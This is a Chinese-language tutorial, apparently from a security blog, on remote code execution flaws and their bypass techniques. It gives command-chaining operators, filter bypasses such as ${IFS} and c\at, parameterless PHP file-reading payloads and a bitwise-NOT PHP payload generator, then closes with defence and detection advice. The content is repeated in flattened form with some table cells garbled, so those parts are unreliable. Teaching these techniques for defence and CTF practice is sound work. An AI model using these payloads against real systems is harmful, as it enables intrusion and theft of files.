rce漏洞介绍及其绕过教程
字数 2204 2025-08-18 17:33:19

RCE漏洞详解与绕过技术教程

1. RCE漏洞概述

RCE(Remote Code/Command Execution)漏洞是指攻击者能够远程在目标系统上执行任意命令或代码的安全漏洞。这类漏洞危害极大,可能导致系统完全被控制。

1.1 漏洞类型

  • 远程命令执行漏洞:执行系统命令
  • 远程代码执行漏洞:执行编程语言代码
  • 无参函数RCE:只能调用无参数函数
  • 无回显RCE:执行结果不直接返回给攻击者

1.2 利用前提条件

  1. 可控的参数:攻击者能够控制输入参数
  2. 函数漏洞:存在不安全的函数调用

2. 典型攻击场景

示例场景:

  • 攻击者(小明)发现目标网站(www.自动运维.com)存在RCE漏洞
  • 通过ping命令接口注入恶意命令:
    • ping ip || ls - 执行ping后执行ls命令泄露目录
    • ping ip || 下载脚本命令 - 下载并执行恶意脚本

3. 常见命令拼接符

Windows系统

符号 说明 示例
` ` 管道符,前命令输出作为后命令输入
& 顺序执行多个命令 commandA & commandB
` `
&& 前命令成功则执行后命令 commandA && commandB

Linux系统

符号 说明 示例
; 无逻辑关系连接符 commandA; commandB
&& 前命令成功则执行后命令 cp 1.txt 2.txt && cat 2.txt
` ` 前命令输出作为后命令输入
` `
& 后台执行命令 java -jar test.jar > log.txt &

4. RCE过滤绕过技术

4.1 空格绕过方法

  • ${IFS} 代替空格
  • + 代替空格
  • %09 (Tab)代替空格
  • %0b 代替空格
  • $IFS 代替空格
  • $IFS$9$IFS$1 代替空格
  • 使用重定向符 <<< 代替空格,如:cat<file

4.2 字符过滤绕过

  • 使用\绕过:catc\at
  • 使用反引号`绕过:cat`cat`
  • 使用单引号''绕过:catc''at
  • 使用$拼接字符:flaga=f;$alag
  • 使用%0a,%0d,%0D%0A代替;
  • 使用Base64编码绕过

4.3 命令替代方案

命令 替代方案
cat tac, more, less, tail, head, nl, od, xxd
文件查看 sort, uniq, file -f, grep, fmt, diff, awk, sed, column, comm

4.4 正则表达式绕过

  • [ (空格) + . 会被正则表达式处理为 _

5. 无参数RCE绕过

5.1 PHP常用无参函数

  • end() - 读取数组最后一个元素
  • localeconv() - 返回本地数字及货币格式信息数组(第一个是.)
  • pos() - 返回数组当前单元(默认第一个)
  • next() - 指针指向下一个元素并输出
  • scandir() - 扫描目录
  • array_reverse() - 翻转数组
  • array_flip() - 键名与值对调
  • readfile()
  • array_rand() - 随机读取键名
  • var_dump(), print_r()
  • file_get_contents(), show_source, highlight_file
  • get_defined_vars() - 返回所有已定义变量
  • current() - 读取数组第一个元素
  • phpinfo() - 显示PHP信息

5.2 数组操作无参函数

  • end(): 指向最后一个元素并输出
  • next(): 指向下一个元素并输出
  • prev(): 指向上一个元素并输出
  • reset(): 指向第一个元素并输出
  • each(): 返回当前键名和键值,指针前移

5.3 无参数Payload示例

  1. 查看当前目录文件:

    ?参数=var_dump(scandir(current(localeconv())));
    
  2. 读取当前目录文件:

    highlight_file(array_rand(array_flip(scandir(getcwd()))));
    
  3. 查看上级目录文件:

    print_r(scandir(next(scandir(getcwd()))));
    
  4. 读取上级目录文件:

    show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
    
  5. 复杂路径读取:

    show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd()))))))))));
    

6. 无字母RCE技术

6.1 主要方法

  1. 异或运算
  2. 自增运算
  3. 取反运算

6.2 取反示例

<?php
$a = urlencode(~"system");
$b = urlencode(~"cat /f*");
$payload = "(~$a)(~$b)";
$url = "http://example.com/?cmd=$payload";
echo "POC: ".$url;
?>

7. 防御建议

  1. 严格过滤用户输入
  2. 禁用危险函数
  3. 使用白名单机制
  4. 最小权限原则
  5. 及时更新和修补系统
  6. 使用安全的API设计
  7. 实施输入验证和输出编码

8. 检测方法

  1. 检测URL中可疑参数
  2. 检查危险函数调用
  3. 监控异常系统命令执行
  4. 使用安全扫描工具

本教程详细介绍了RCE漏洞的各种利用和绕过技术,仅供安全研究和防御参考,请勿用于非法用途。

RCE漏洞详解与绕过技术教程 1. RCE漏洞概述 RCE(Remote Code/Command Execution)漏洞是指攻击者能够远程在目标系统上执行任意命令或代码的安全漏洞。这类漏洞危害极大,可能导致系统完全被控制。 1.1 漏洞类型 远程命令执行漏洞 :执行系统命令 远程代码执行漏洞 :执行编程语言代码 无参函数RCE :只能调用无参数函数 无回显RCE :执行结果不直接返回给攻击者 1.2 利用前提条件 可控的参数 :攻击者能够控制输入参数 函数漏洞 :存在不安全的函数调用 2. 典型攻击场景 示例场景: 攻击者(小明)发现目标网站(www.自动运维.com)存在RCE漏洞 通过ping命令接口注入恶意命令: ping ip || ls - 执行ping后执行ls命令泄露目录 ping ip || 下载脚本命令 - 下载并执行恶意脚本 3. 常见命令拼接符 Windows系统 | 符号 | 说明 | 示例 | |------|------|------| | | | 管道符,前命令输出作为后命令输入 | help | more | | & | 顺序执行多个命令 | commandA & commandB | | || | 前命令失败则执行后命令 | commandA || commandB | | && | 前命令成功则执行后命令 | commandA && commandB | Linux系统 | 符号 | 说明 | 示例 | |------|------|------| | ; | 无逻辑关系连接符 | commandA; commandB | | && | 前命令成功则执行后命令 | cp 1.txt 2.txt && cat 2.txt | | | | 前命令输出作为后命令输入 | netstat -an|grep 3306 | | || | 前命令失败则执行后命令 | cat 3.txt || cat 2.txt | | & | 后台执行命令 | java -jar test.jar > log.txt & | 4. RCE过滤绕过技术 4.1 空格绕过方法 ${IFS} 代替空格 + 代替空格 %09 (Tab)代替空格 %0b 代替空格 $IFS 代替空格 $IFS$9 或 $IFS$1 代替空格 使用重定向符 < 或 << 代替空格,如: cat<file 4.2 字符过滤绕过 使用 \ 绕过: cat → c\at 使用反引号 ` 绕过: cat → `cat` 使用单引号 '' 绕过: cat → c''at 使用 $ 拼接字符: flag → a=f;$alag 使用 %0a , %0d , %0D%0A 代替 ; 使用Base64编码绕过 4.3 命令替代方案 | 命令 | 替代方案 | |------|----------| | cat | tac, more, less, tail, head, nl, od, xxd | | 文件查看 | sort, uniq, file -f, grep, fmt, diff, awk, sed, column, comm | 4.4 正则表达式绕过 [ (空格) + . 会被正则表达式处理为 _ 5. 无参数RCE绕过 5.1 PHP常用无参函数 end() - 读取数组最后一个元素 localeconv() - 返回本地数字及货币格式信息数组(第一个是 . ) pos() - 返回数组当前单元(默认第一个) next() - 指针指向下一个元素并输出 scandir() - 扫描目录 array_reverse() - 翻转数组 array_flip() - 键名与值对调 readfile() array_rand() - 随机读取键名 var_dump() , print_r() file_get_contents() , show_source , highlight_file get_defined_vars() - 返回所有已定义变量 current() - 读取数组第一个元素 phpinfo() - 显示PHP信息 5.2 数组操作无参函数 end() : 指向最后一个元素并输出 next() : 指向下一个元素并输出 prev() : 指向上一个元素并输出 reset() : 指向第一个元素并输出 each() : 返回当前键名和键值,指针前移 5.3 无参数Payload示例 查看当前目录文件: 读取当前目录文件: 查看上级目录文件: 读取上级目录文件: 复杂路径读取: 6. 无字母RCE技术 6.1 主要方法 异或运算 自增运算 取反运算 6.2 取反示例 7. 防御建议 严格过滤用户输入 禁用危险函数 使用白名单机制 最小权限原则 及时更新和修补系统 使用安全的API设计 实施输入验证和输出编码 8. 检测方法 检测URL中可疑参数 检查危险函数调用 监控异常系统命令执行 使用安全扫描工具 本教程详细介绍了RCE漏洞的各种利用和绕过技术,仅供安全研究和防御参考,请勿用于非法用途。